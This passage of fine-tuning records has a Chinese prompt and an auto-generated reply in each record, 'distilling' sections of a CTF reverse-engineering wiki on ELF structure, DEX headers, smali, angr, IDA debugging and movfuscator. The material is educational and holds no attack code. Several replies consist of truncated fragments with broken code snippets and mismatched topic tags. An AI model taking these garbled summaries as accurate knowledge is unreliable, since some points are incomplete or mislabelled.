"split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b1b215c1a258571cb3e0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif > 参考\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- https://code.woboq.org/userspace/glibc/sysdeps/x86_64/dl-trampoline.h.html#60 - https://stackoverflow.com/questions/46374907/what-does-the-f-prefix-of-some-gcc-command-line-options-mean - https://gcc.gnu.org/onlinedocs/gcc/Invoking-GCC.html\n\n关键术语：\n- 边界/溢出\n- 栈\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 242, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "参考", "heading_path": ["endif", "参考"], "original_id": "docs-c4af4ce7ae4f068bc833", "original_line": 456, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "1ef507edc3184380f418edf7", "subcategory": "executable/elf/linking", "terms": ["边界/溢出", "栈", "executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b2502c60cd7724d186ba", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「段内容」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Program Header Table > 段内容\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“段内容”展开。\n- 尽管如此，我们也必须需要各种各样的数据来使得程序可以执行以及动态链接等等。\n- [图片文件: ./figure/text_segment.png] 数据段包含可写的数据以及以及指令，通常来说，包含以下内容 [图片文件: ./figure/data_segment.png] 程序头部的 PT_DYNAMIC 类型的元素指向 .dynamic 节。\n- 尽管在这里给出的例子中，plt 节出现在代码段，但是对于不同的处理器来说，可能会有所变动。\n- .bss 节的类型为 SHT_NOBITS，这表明它在 ELF 文件中不占用空间，但是它却占用可执行文件的内存镜像的空间。\n- 通常情况下，没有被初始化的数据在段的尾部，因此，p_memsz 才会比 p_filesz 大。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 537, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "段内容", "heading_path": ["ELF 文件", "Program Header Table", "段内容"], "original_id": "docs-cb90c995c64c9e003618", "original_line": 468, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "3beb876387804ca150c34ec3", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b400c183cb3199832aeb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「段权限-p_flags」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Program Header Table > 段权限-p_flags\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“段权限-p_flags”展开。\n- 尽管所有的权限组合都是可以的，但是系统一般会授予比请求更多的权限。\n- 当系统为可加载的段创建内存镜像时，它会按照 p_flags 将段设置为对应的权限。\n- 可能的段权限位有 [图片文件: ./figure/segment_flag_bits.png] 其中，所有在 PF_MASKPROC 中的比特位都是被保留用于与处理器相关的语义信息。\n- [图片文件: ./figure/segment-permission.png] 例如，一般来说，.text 段一般具有读和执行权限，但是不会有写权限。\n- 如果一个权限位被设置为 0，这种类型的段是不可访问的。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 387, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "段权限-p_flags", "heading_path": ["ELF 文件", "Program Header Table", "段权限-p_flags"], "original_id": "docs-7dfa65356709ff7ceda5", "original_line": 467, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "13f98ca48886c89c9c289cd1", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b4892834544285216a03", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「Project」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Project\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 我们若要使用 angr 来分析一个二进制文件，第一步则是创建一个 angr.Project 类——我们一切后续操作都将基于这个类实例进行展开，以下是一个例子： ``python >>> import angr >>> bin_path = './test' # file to be analyzed >>> proj = angr.Project(bin_path) WARNING | 2022-11-23 19:25:30,006 | cle.loader | The main binary is a po...\n- ` 首先，我们可以通过一个 project 获取对应二进制文件的基本信息： `python >>> proj.arch # architecture of the binary file  >>> hex(proj.entry) # entry point of the binary file '0x401060' >>> proj.filename # name of the binary file './test' ` - arch 是一个 archiinfo.Arch...\n- It is being loaded with a base address of 0x400000.\n- arch.memory_endness：端序，大端为 Endness.BE ，小端为 Endness.LE。\n- > 源码里还有一个 “中端序” Endness.ME` ：）\n- arch.name：架构名，例如 _X86_ 。\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- simulate-execution\n- angr.md\n- code:python\n\n代码/命令片段线索：\n- python: 4 行，首行 `>>> import angr`\n- python: 6 行，首行 `>>> proj.arch # architecture of the binary file`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 821, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Project", "heading_path": ["angr", "基本用法", "Project"], "original_id": "docs-1440557d609bc36ef4ac", "original_line": 1560, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "4f4fc3cc08f590c6824d980f", "subcategory": "reverse/tools/simulate-execution", "terms": ["AI安全", "reverse", "tools", "simulate-execution", "angr.md", "code:python"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b536c993227cd2860d26", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/so-example.md` 中的章节「反编译」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/so-example.md`\n标题：静态分析原生层程序\n章节：静态分析原生层程序 > 原生层静态分析例子 > 2015-海峡两岸-一个APK，逆向试试吧 > 反编译\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 利用jadx反编译apk，确定应用的主活动 ``xml `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 826, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "反编译", "heading_path": ["静态分析原生层程序", "原生层静态分析例子", "2015-海峡两岸-一个APK，逆向试试吧", "反编译"], "original_id": "docs-fa366467c78b31cc756f", "original_line": 99, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "source_root": "docs", "source_sha256": "fb270de07d8aea7ae9a3d64f3300458f9af935fc74f897f3fce7bd898e380416", "split": "train", "split_group_key": "942d2085eb89c400f3ca625d", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "AI安全", "漏洞利用", "android", "basic-reverse", "static", "so-example.md", "code:xml"], "title": "静态分析原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b64d6ba1dc893d8613cf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「DEX 文件头」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > DEX 文件头\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“DEX 文件头”展开。\n- DEX的文件头主要包含magic字段、alder32校验值、SHA-1哈希值、string_ids的个数以及偏移地址等，固定占用0x70个字节，数据结构如下 ``c++ struct DexHeader { u1 magic[8];\n- | | data_size | uint | data 区段的以字节为单位的大小，必须是 sizeof(uint) 的偶数倍，说明8字节对齐。\n- | | data_off | uint | 从文件开头到 data` 区段开头的偏移量。\n- / adler32 checksum / u1 signature[kSHA1DigestLen];\n- / offset to start of next section / u4 endianTag;\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 25 行，首行 `struct DexHeader {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 2452, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "DEX 文件头", "heading_path": ["DEX文件", "DEX 文件格式", "DEX 文件头"], "original_id": "docs-c2ab8732a337ee2009da", "original_line": 30, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "212c78ed4cc457958074e17f", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b979967a49dfef7e0294", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「class def」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > DEX 索引区 > class def\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“class def”展开。\n- / 调用其他方法时其它方法使用的寄存器个数，会在自己的调用栈申请，并压栈（猜测） / u2 triesSize;\n- 该区是为 java 中的类而设计的，包含以下的数据结构，相关信息如下 ``c++ // 类的基本信息 struct DexClassDef { u4 classIdx;\n- classDefsSize表明 class def 区域的大小，classDefsOff表明class def 区的偏移。\n- / 类的类型，指向DexTypeId列表的索引 / u4 accessFlags;\n- / 父类类型，指向DexTypeId列表的索引 / u4 interfacesOff;\n\n关键术语：\n- 栈\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 46 行，首行 `// 类的基本信息`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1478, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "class def", "heading_path": ["DEX文件", "DEX 文件格式", "DEX 索引区", "class def"], "original_id": "docs-46a8631aee1d8d0cfa53", "original_line": 35, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "2187dcef9bf07fcb89ef600a", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["栈", "Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-b98243ff362cac5536b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「attach程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：IDA 动态调试原生层程序 > so原生程序调试 > attach程序\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“attach程序”展开。\n- 如下 [图片文件: ./figure/debug_setup.png] 点击 ok，启动调试 注意： > 如果最后出现只有一个程序 /bin/sh 可以被 attach，那说明没有以 root 权限运行 android_server 程序。\n- 利用 ctrl+f 快速定位并选择相应的进程，如下 [图片文件: ./figure/debug_attach_process.png] 然后ok确定即可。\n- 启动 IDA pro，点击Debugger-Attach-RemoteArmLinux/Android debugger，Hostname 填 localhost，port 默认就是 23946 端口。\n- 这时我们可以看到我们已经 attach 成功了。\n- [图片文件: ./figure/debug_attach_libc.png] 这时候我们再点击 Debugger-Debugger options，设置相关选项如下 [图片文件: ./figure/debug_attach_setup.png] 意思类同于原生程序。\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-reverse\n- dynamic\n- ida-native-debug.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 552, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "attach程序", "heading_path": ["IDA 动态调试原生层程序", "so原生程序调试", "attach程序"], "original_id": "docs-f396605517c024c9a75a", "original_line": 83, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "c60ef3f5cd3bcba4ccc2caa5", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "漏洞利用", "android", "basic-reverse", "dynamic", "ida-native-debug.md"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-ba89a517763b8b111495", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「比较指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 比较指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 为什么需要为NaN 特意分配两种类型的比较指令呢？\n- 所有这 5 种比较指令的的助记符结构均为： cmpkind vAA, vBB, vCC 其中A是存放结果的目标寄存器（8 位），B是第一个源寄存器或寄存器对；\n- 在不涉及 NaN 值的情况下，上述五个指令的执行逻辑均为： 如果 vBB 寄存器大于 vCC 寄存器，则结果为 1，相等则结果为 0，小于则结果为 -1。\n- 而如果比较的值中有一个是 NaN ，那么，“gt bias”指令返回 1，而“lt bias”指令返回 -1。\n- 例如，检查浮点数是否满足条件 x < y时，建议使用cmpg-float 指令来进行。\n- 因为如果结果是 -1，则表示测试结果为 true，其他值表示测试结果为 false。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 836, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "比较指令", "heading_path": ["interfaces", "执行语句", "具体指令", "比较指令"], "original_id": "docs-f3496299b110d3c4642b", "original_line": 2, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "12d4cabd131ff7688f6fd650", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-bc7c953a054fd428e7a6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/movfuscator.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/movfuscator.md`\n标题：movofuscator\n章节：movofuscator > 简介\n路径分类：reverse / reverse/obfuscate/movfuscator.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“简介”展开。\n- movfuscator 是一个通过将常规 x86 指令替换为等价的 mov 指令来完成代码混淆的混淆器，得益于 mov 指令满足图灵完备性质，所有的指令都可以通过由 mov 指令组成的代码片段进行等价代换，同时保持程序逻辑不变。\n- 由于 mov 混淆的特殊性，目前暂时没有较为高效的反混淆手段，现阶段如 demovfuscator 等反混淆器可以完成初步的去混淆工作。\n\n关键术语：\n- reverse\n- obfuscate\n- movfuscator.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 286, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "简介", "heading_path": ["movofuscator", "简介"], "original_id": "docs-6d35a9535b53f1110212", "original_line": 1483, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/movfuscator.md", "source_root": "docs", "source_sha256": "bc12d56c2aac5829ba40fd7926846d53f6537c0a21c6547f8791782bf918294f", "split": "train", "split_group_key": "da1617b4f3de49a4a28ee514", "subcategory": "reverse/obfuscate/movfuscator.md", "terms": ["reverse", "obfuscate", "movfuscator.md"], "title": "movofuscator"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/movfuscator.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-bda81926213d98473b5f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「e_version」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > ELF Header > e_version\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“e_version”展开。\n- | 名称 | 值 | 意义 | | ---------- | ---- | ---- | | EV_NONE | 0 | 无效版本 | | EV_CURRENT | 1 | 当前版本 | 1 表示初始文件格式；\n- 未来扩展新的版本的时候(extensions)将使用更大的数字。\n- 虽然在上面值EV_CURRENT为1，但是为了反映当前版本号，它可能会改变，比如ELF到现在也就是1.2版本。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 211, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "e_version", "heading_path": ["ELF 文件", "ELF Header", "e_version"], "original_id": "docs-aad9b7eb98769d08c722", "original_line": 24, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "c5143a7bc05f7a696a230791", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-bdd45b610291d88bfcb9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「普通字段」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：Smali > 声明语句 > 字段 > 普通字段\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“普通字段”展开。\n- 声明如下 ``text #instance fields .field <访问权限修饰符> [非权限修饰符] <字段名>:<字段类型> ` 其中访问权限修饰符可以为： - public - private - protected 非权限修饰符可以为： - final - volatile - transient 举个例子，如下 ``smali\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:text\n\n代码/命令片段线索：\n- text: 2 行，首行 `#instance fields`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 183, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "普通字段", "heading_path": ["Smali", "声明语句", "字段", "普通字段"], "original_id": "docs-5684a3d641180df2d52d", "original_line": 43, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "6ca0694e95f90e53b0fede42", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:text"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
